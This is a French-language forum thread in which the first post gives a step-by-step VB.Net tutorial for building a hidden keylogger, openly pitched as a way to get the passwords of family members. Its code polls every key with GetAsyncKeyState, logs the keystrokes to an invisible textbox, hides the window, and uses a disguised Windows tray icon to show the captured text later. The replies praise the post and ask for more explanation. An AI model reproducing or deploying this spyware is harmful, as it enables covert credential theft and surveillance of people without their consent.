Skip to content
  • Categories
  • Recent
  • Tags
  • Popular
  • World
  • Users
  • Groups
Skins
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • Default (No Skin)
  • No Skin
Collapse

NodeBB

  1. Home
  2. Programmation
  3. Développement de logiciels
  4. VB.Net
  5. va pour enregistrer les frappes (j'ai reçu un coup)

va pour enregistrer les frappes (j'ai reçu un coup)

Scheduled Pinned Locked Moved VB.Net
6 Posts 4 Posters 4.4k Views
  • Oldest to Newest
  • Newest to Oldest
  • Most Votes
Reply
  • Reply as topic
Log in to reply
This topic has been deleted. Only users with topic management privileges can see it.
  • mars073M
    mars073M
    mars073
    wrote on last edited by
    #1

    <p>Bonjour,</p><p></p><p>je vais vous expliquez comment faire un enregistreur de frappe.^^</p><p>pour trouver le mot de passe de votre frère, votre mère, votre grand-père ou votre hamster...</p><p>Il faut:</p><p>-1 Form (Config: ShownInTaskbar=False; RightToLeftLayout=True; FormBorderStyle=None; Size=0; 0)</p><p>-1 Textbox (Config: visible=False) (Ancrer le textbox en fessant un clique sur le petit carré avec un triangle dessus)</p><p>-2 Timer (Config T1: Enabled=True; Interval=2) (Config T3: Enabled=True; Interval=100)</p><p>-1 NotifyIcon (Config: Icon=[votre Icône Windows)</p><p>-1 Icône windows de préférence</p><p></p><p>KDO:</p><p>un lien vers un site plein d'icône cool:</p><p><a href="http://icones.pro/windows-4-image-png.html" rel="external nofollow">->Lien<- (lien icone windows)</a></p><p></p><p>et c'est partit pour le code... u_u</p><p>double clique sur la form pour afficher le code (oublier pas que il y a les textbox dessus, donc retirez le le temps de mettre le code) et au dessus, donc après Public Class [votre form]:</p><p></p><pre class="ipsCode prettyprint lang-auto">Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer</pre>et dans l'handle (le code form_load):<p></p><pre class="ipsCode prettyprint lang-auto">Timer1.Start()
    Timer2.Start()
    Me.Visible = False</pre>maintenant double clique sur le timer1 pour afficher le code et on met dedans :<p></p><pre class="ipsCode prettyprint lang-auto">For i = 1 To 255
    result = 0
    result = GetAsyncKeyState(i)
    If result = -32767 Then
    TextBox1.Text = TextBox1.Text + Chr(i) ' on ajout le caractère qui est envoyé par le clavier à la suite de deux déjà capté
    End If
    Next i</pre>Double clique sur le NotifyIcon1 pour afficher le code et on met dedans :<p></p><pre class="ipsCode prettyprint lang-auto">Me.WindowState = FormWindowState.Normal
    Me.Height = 300 ' hauteur
    Me.Width = 300 'largeur
    Me.ShowInTaskbar = True 'affichage dans la barre de tâche
    Me.FormBorderStyle = Windows.Forms.FormBorderStyle.Sizable ' style de bords...
    Me.Visible = True ' si on l'affiche
    TextBox1.Visible = True ' si on affiche les caractères masqués
    Me.AllowTransparency = False
    Me.RightToLeft = Windows.Forms.RightToLeft.Inherit
    Me.Show()
    </pre>Double clique sur le Timer2 pour afficher le code et on met dedans :<p></p><pre class="ipsCode prettyprint lang-auto"> If Me.WindowState = FormWindowState.Minimized Then 'on test l'état de la fenêtre
    Me.Height = 0 'plein de paramètre chiant à expliquer
    Me.Width = 0
    Me.ShowInTaskbar = False
    Me.FormBorderStyle = Windows.Forms.FormBorderStyle.None
    Me.Visible = False
    TextBox1.Visible = False
    Me.AllowTransparency = True
    Me.RightToLeft = Windows.Forms.RightToLeft.Inherit
    'code by Mars073
    End If</pre>si vous cliquez sur play pour tester le programme il ne marchera par forcément, il faut le publier... les frappes ne sont pas très facile a lire mais d-quand on clique du effacer, ça ne supprime pas le texte enregistré.^^<p>Et quand on a fini on fait un double clique sur l'icône et le texte enregistré.</p><p></p><p>Bonne programmation à tous!</p><p>Cordialement,</p><p>Mars073</p>

    Aide à l'apprentissage et la réalisation pour des graphismes, des programmes, des sites ou autres.Signature aléatoire, proposez vous aussi une signature ici!

    1 Reply Last reply
    2
    • AzadA
      AzadA
      Azad
      wrote on last edited by
      #2

      <p>Merci du partage. 🙂 <br/><br/>
      +1 Rep.</p>

      Administrateur du forum.
      Contactez-moi par message privé ou par mail.

      1 Reply Last reply
      0
      • S
        S
        Soon
        wrote on last edited by
        #3

        <p>Merci du partage mais essaye d'expliquer le code car la c'est du copier coller bête x)</p>

        1 Reply Last reply
        0
        • AzadA
          AzadA
          Azad
          wrote on last edited by
          #4

          <p>Ça reste plutôt explicite, quand même.<br/>
          Mais si des explications sont nécessaires, pourquoi pas. 🙂 </p>

          Administrateur du forum.
          Contactez-moi par message privé ou par mail.

          1 Reply Last reply
          0
          • D
            D
            Droby
            wrote on last edited by
            #5

            <blockquote class="ipsQuote" data-cite="mars073" data-ipsquote="" data-ipsquote-contentclass="forums_Topic" data-ipsquote-contentcommentid="1272" data-ipsquote-contentid="118" data-ipsquote-contenttype="forums" data-ipsquote-timestamp="1394744503" data-ipsquote-username="mars073"><div>
            <div>
            <p>Bonjour,</p><p>
            je vais vous expliquez comment faire un enregistreur de frappe.^^</p><p>
            pour trouver le mot de passe de votre frère, votre mère, votre grand-père ou votre hamster...</p><p>
             </p>
            </div>
            </div></blockquote>
            <p>T'as quoi contre les hamster :@</p>
            <p>Sympa ! Un peu plus d'explication de code et c'est parfait.</p>

            Bonne affaire ici

            1 Reply Last reply
            0
            • mars073M
              mars073M
              mars073
              wrote on last edited by
              #6

              <p>j'ai ajouté quelques commentaires mais bon comme là dit azad c'est assez explicite je montre juste la captation des entrées du clavier par l'utilisateur en utilisant la librairie windows ._.</p>

              Aide à l'apprentissage et la réalisation pour des graphismes, des programmes, des sites ou autres.Signature aléatoire, proposez vous aussi une signature ici!

              1 Reply Last reply
              0

              Hello! It looks like you're interested in this conversation, but you don't have an account yet.

              Getting fed up of having to scroll through the same posts each visit? When you register for an account, you'll always come back to exactly where you were before, and choose to be notified of new replies (either via email, or push notification). You'll also be able to save bookmarks and upvote posts to show your appreciation to other community members.

              With your input, this post could be even better 💗

              Register Login
              Reply
              • Reply as topic
              Log in to reply
              • Oldest to Newest
              • Newest to Oldest
              • Most Votes


              • Login

              • Login or register to search.
              Powered by NodeBB Contributors
              • First post
                Last post
              0
              • Categories
              • Recent
              • Tags
              • Popular
              • World
              • Users
              • Groups